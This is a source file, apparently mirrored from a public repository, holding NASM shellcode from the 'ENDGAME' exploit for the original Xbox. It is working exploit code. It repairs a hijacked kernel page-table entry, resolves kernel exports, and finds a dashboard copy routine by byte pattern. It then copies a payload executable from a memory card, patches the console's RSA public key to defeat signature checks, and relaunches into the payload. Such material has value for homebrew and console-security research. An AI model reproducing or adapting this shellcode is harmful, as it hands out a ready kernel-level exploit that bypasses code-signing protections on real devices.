mirror of
https://github.com/XboxDev/endgame-exploit.git
synced 2025-12-19 17:27:35 -05:00
334 lines
11 KiB
NASM
334 lines
11 KiB
NASM
;
|
|
; compile: nasm shellcode.asm
|
|
;
|
|
; NOTE: something to keep in mind when reading/editing this file is that we
|
|
; are executing this page out of write-combining memory. we regularly use
|
|
; sfence/wbinvd to try and flush things out and keep everything happy.
|
|
;
|
|
; otherwise, if you are not careful, there can be.. strange side effects.
|
|
;
|
|
|
|
BITS 32
|
|
|
|
;
|
|
; setup EBP to point at the base of this shellcode payload. this will allow
|
|
; us to easily make relative references to shellcode labels, making this
|
|
; payload position independent.
|
|
;
|
|
|
|
start:
|
|
call $+5
|
|
pop ebp
|
|
sub ebp, $-1
|
|
|
|
;
|
|
; check if we are the first thread to enter the ENDGAME shellcode page,
|
|
; if so, take the 'lock' to prevent the possibility of another thread
|
|
; coming through should we get preempted. this isn't totally out of the
|
|
; question since we sinkholed a page of kernel .text ...
|
|
;
|
|
|
|
check_lock:
|
|
mov eax, 0
|
|
mov ebx, 1
|
|
lock cmpxchg [ebp+locked], ebx
|
|
jz repair_pte
|
|
.inf:
|
|
hlt
|
|
jmp .inf ; trap any threads that could have chased us into this page
|
|
|
|
;
|
|
; repair the kernel .text PTE we corrupted to hijack code execution. please
|
|
; note that this must reconcile with the address/values in main.py
|
|
;
|
|
|
|
repair_pte:
|
|
mov eax, 0xc0200088
|
|
mov dword [eax], 0x22461
|
|
invlpg [0x80022000]
|
|
wbinv
|
|
|
|
;
|
|
; dynamically resolve kernel exports that the shellcode will use
|
|
;
|
|
|
|
locate_exports:
|
|
cld ; clear the direction flag so the string instructions increment the address
|
|
mov esi, 80010000h ; kernel base address
|
|
mov eax, [esi+3Ch] ; value of e_lfanew (File address of new exe header)
|
|
mov ebx, [esi+eax+78h] ; value of IMAGE_NT_HEADERS32 -> IMAGE_OPTIONAL_HEADER32 -> IMAGE_DATA_DIRECTORY -> ibo32 (Virtual Address) (0x02e0)
|
|
add ebx, esi
|
|
mov edx, [ebx+1Ch] ; value of IMAGE_DIRECTORY_ENTRY_EXPORT -> AddressOfFunctions (0x0308)
|
|
add edx, esi ; address of kernel export table
|
|
lea edi, [ebp+kexports] ; address of the local kernel export table
|
|
|
|
.get_exports:
|
|
mov ecx, [edi] ; load the entry from the local table
|
|
jecxz .done_exports
|
|
sub ecx, [ebx+10h] ; subtract the IMAGE_DIRECTORY_ENTRY_EXPORT -> Base
|
|
mov eax, [edx+4*ecx] ; load the export by number from the kernel table
|
|
test eax, eax
|
|
jz .empty ; skip if the export is empty
|
|
add eax, esi ; add kernel base address to the export to construct a valid pointer
|
|
|
|
.empty:
|
|
stosd ; save the value back to the local table and increment EDI by 4
|
|
jmp .get_exports
|
|
|
|
.done_exports:
|
|
|
|
;
|
|
; find XAPI's CopyFile() - "55 [8D 6C 24 A0 81 EC 9C 00] ..."
|
|
;
|
|
|
|
find_copy_file:
|
|
mov ecx, 0x30000 ; approximate memory address in the dash to start searching forward from
|
|
mov edx, 0xA0000 ; approximate memory address in the dash to stop searching
|
|
|
|
.check_pattern:
|
|
inc ecx ; increment the search pointer
|
|
cmp ecx, edx ; compare current address with end address
|
|
jge .error ; if past the end of the search space, end the search
|
|
|
|
mov eax, [ecx] ; move 4 bytes from the current address (dash code) into EAX
|
|
cmp eax, 0xa0246c8d ; compare with the first part of the egg (reversed due to endianness)
|
|
jnz .check_pattern ; if not equal, continue searching
|
|
|
|
mov eax, [ecx+4] ; move the next 4 bytes from memory into EAX
|
|
cmp eax, 0x009cec81 ; compare with the second part of the egg (reversed due to endianness)
|
|
jnz .check_pattern ; if not equal, continue searching
|
|
|
|
dec ecx ; found it! decrement ECX since the pattern is +1 into the func
|
|
lea edi, [ebp+CopyFileEx]
|
|
mov [edi], ecx
|
|
jmp .done_resolution
|
|
|
|
.error:
|
|
jmp .error
|
|
|
|
.done_resolution:
|
|
wbinvd
|
|
|
|
;
|
|
; drop IRQL to PASSIVE because the thread we hijacked may have come in at a
|
|
; higher level and this can cause issues when calling kernel exports or XAPI
|
|
;
|
|
|
|
lower_irql:
|
|
mov ecx, 0
|
|
call dword [ebp+KfLowerIrql]
|
|
|
|
%ifdef DEBUG
|
|
|
|
;
|
|
; locate the of address our 'helper' allocation in memory. this is purely
|
|
; used for debug / testing of ENDGAME -- it helped provide some introspection
|
|
; on where our stuff was getting mapped on retail hardware.
|
|
;
|
|
|
|
find_helper:
|
|
mov ebx, 0xF1000000 ; where to start searching memory
|
|
|
|
.loop:
|
|
add ebx, 0x1000 ; increment to the next page
|
|
|
|
push ebx
|
|
call [ebp+MmIsAddressValid] ; check if the address is safe to dereference
|
|
jz .loop
|
|
|
|
cmp dword [ebx], 0x71615141 ; does this page start with our magic marker?
|
|
jnz .loop
|
|
|
|
dbg_print:
|
|
|
|
;
|
|
; sprintf(...)
|
|
;
|
|
|
|
sub esp, 0x100 ; make a 256 byte buffer on the stack
|
|
mov ecx, esp
|
|
push ebx ; arg1 for format string
|
|
lea eax, [ebp+fmt_str]
|
|
push eax ; format string
|
|
push ecx ; buffer
|
|
sfence
|
|
call [ebp+sprintf]
|
|
add esp, 0x0C
|
|
|
|
;
|
|
; OutputDebugString(...)
|
|
;
|
|
|
|
push esp ; Buffer
|
|
push 0
|
|
mov word [esp+0], ax ; Length
|
|
mov word [esp+2], 0x100 ; MaxLength
|
|
sfence
|
|
|
|
mov ecx, esp
|
|
mov eax, 1
|
|
int 0x2D ; debug print to superio
|
|
int3 ; do not remove (required for proper int 2Dh handling)
|
|
|
|
add esp, 0x108 ; cleanup buffer (0x100) + debug print structure (0x8)
|
|
|
|
%endif
|
|
|
|
;
|
|
; loop through each memory card drive letter and attempt to copy payload.xbe
|
|
; from the MU to E:\payload.xbe. Once a copy succeeds, break from the loop.
|
|
;
|
|
|
|
copy_file:
|
|
cmp byte [ebp+mu_path], 'N' ; have we made it through all the memory card slots?
|
|
je copy_failure
|
|
|
|
xor eax, eax
|
|
push eax ; - dwCopyFlags
|
|
push eax ; - pbCancel
|
|
push eax ; - lpData
|
|
push eax ; - lpProgressRoutine
|
|
lea eax, [ebp+hdd_path]
|
|
push eax ; - lpNewFileName
|
|
lea eax, [ebp+mu_path]
|
|
push eax ; - lpExistingFilename
|
|
call dword [ebp+CopyFileEx] ; CopyFileEx(MU_X, HDD, NULL, NULL, NULL, NULL);
|
|
|
|
inc byte [ebp+mu_path] ; increment drive letter to try copying from the next MU
|
|
wbinvd
|
|
|
|
test eax, eax ; if CopyFileEx(...) did not indicate it copied a file, keep looping
|
|
jz copy_file
|
|
|
|
copy_success:
|
|
mov ecx, 0D7h ; red-orange-green (success)
|
|
lea eax, [ebp+blink_led]
|
|
call eax
|
|
jmp make_habibi
|
|
|
|
copy_failure:
|
|
mov ecx, 0A0h ; red blinking (failure)
|
|
call blink_led
|
|
.inf:
|
|
jmp short .inf
|
|
|
|
;
|
|
; modify the RSA key data to make it habibi compatible
|
|
;
|
|
|
|
make_habibi:
|
|
mov ebx, [ebp+XePublicKeyData]
|
|
or ebx, 0xF0000000
|
|
pushf
|
|
cli ; disable interrupts
|
|
xor dword [ebx+110h], 2DD78BD6h ; alter the last 4 bytes of the public key
|
|
mov ecx, cr3 ; invalidate TLB
|
|
mov cr3, ecx
|
|
popf ; re-enable interrupts
|
|
|
|
;
|
|
; cribbed from past softmods, roughly a re-creation of the following:
|
|
; - https://github.com/XboxDev/OpenXDK/blob/master/src/hal/xbox.c#L36
|
|
;
|
|
|
|
launch_xbe:
|
|
mov esi, [ebp+LaunchDataPage] ; https://xboxdevwiki.net/Kernel/LaunchDataPage
|
|
mov ebx, [esi]
|
|
mov edi, 1000h
|
|
test ebx, ebx ; check the LaunchDataPage pointer
|
|
jnz .mem_ok ; jump if it's not NULL
|
|
push edi
|
|
call dword [ebp+MmAllocateContiguousMemory] ; otherwise, allocate a memory page
|
|
mov ebx, eax ; and store the pointer to the allocated page in EBX
|
|
mov [esi], eax ; store the pointer back to the kernel as well
|
|
|
|
.mem_ok:
|
|
push byte 1
|
|
push edi
|
|
push ebx
|
|
call dword [ebp+MmPersistContiguousMemory]
|
|
|
|
mov edi,ebx
|
|
xor eax,eax
|
|
mov ecx,400h
|
|
rep stosd ; fill the whole LaunchDataPage memory page (4096 Bytes) with zeros
|
|
|
|
or dword [ebx], byte -1 ; set LaunchDataPage.launch_data_type to 0xFFFFFFFF
|
|
mov [ebx+4], eax ; set LaunchDataPage.title_id to 0
|
|
lea edi, [ebx+8] ; copy the address of LaunchDataPage.launch_path string
|
|
lea esi, [ebp+xbe_str]
|
|
push byte xbe_strlen
|
|
pop ecx
|
|
rep movsb ; copy the executable path to the LaunchDataPage.launch_path
|
|
push byte 2 ; 2 stands for ReturnFirmwareQuickReboot
|
|
sfence
|
|
wbinvd ; flush the CPU caches to ensure all our writes are in main memory
|
|
call dword [ebp+HalReturnToFirmware]
|
|
|
|
.inf:
|
|
jmp short .inf
|
|
|
|
;
|
|
; blink LED to demonstrate code execution
|
|
;
|
|
|
|
blink_led:
|
|
push ecx
|
|
push byte 0
|
|
push byte 8
|
|
push byte 20h
|
|
call [ebp+HalWriteSMBusValue] ; set LED pattern
|
|
|
|
push byte 1
|
|
push byte 0
|
|
push byte 7
|
|
push byte 20h
|
|
call [ebp+HalWriteSMBusValue] ; enable LED override
|
|
|
|
ret
|
|
|
|
;
|
|
; '.data' section for our shellcode
|
|
;
|
|
|
|
kexports:
|
|
HalReturnToFirmware dd 49
|
|
HalWriteSMBusValue dd 50
|
|
KfLowerIrql dd 161
|
|
LaunchDataPage dd 164
|
|
MmAllocateContiguousMemory dd 165
|
|
MmPersistContiguousMemory dd 178
|
|
XePublicKeyData dd 355
|
|
|
|
; ENDGAME debug helpers
|
|
%ifdef DEBUG
|
|
MmIsAddressValid dd 174
|
|
sprintf dd 362
|
|
%endif
|
|
|
|
; end of local export table
|
|
dd 0
|
|
|
|
xapi:
|
|
CopyFileEx dd 0
|
|
|
|
strings:
|
|
mu_path db 'F:\payload.xbe', 0 ; first memory card slot
|
|
hdd_path db 'C:\payload.xbe', 0 ; E drive (as aliased in dash)
|
|
xbe_str db '\Device\Harddisk0\Partition1\payload.xbe', 0
|
|
xbe_strlen equ $-xbe_str
|
|
|
|
%ifdef DEBUG
|
|
fmt_str db 'Spray base 0x%08X', 0x0a, 0x0d, 0
|
|
%endif
|
|
|
|
misc:
|
|
locked dd 0
|
|
version dd 0x00010000 ; [-unused-].[major].[minor].[patch]
|
|
|
|
;
|
|
; no purpose but to serve as a static marker for the end of our shellcode
|
|
;
|
|
|
|
end:
|
|
dd 0xCCCCCCCC |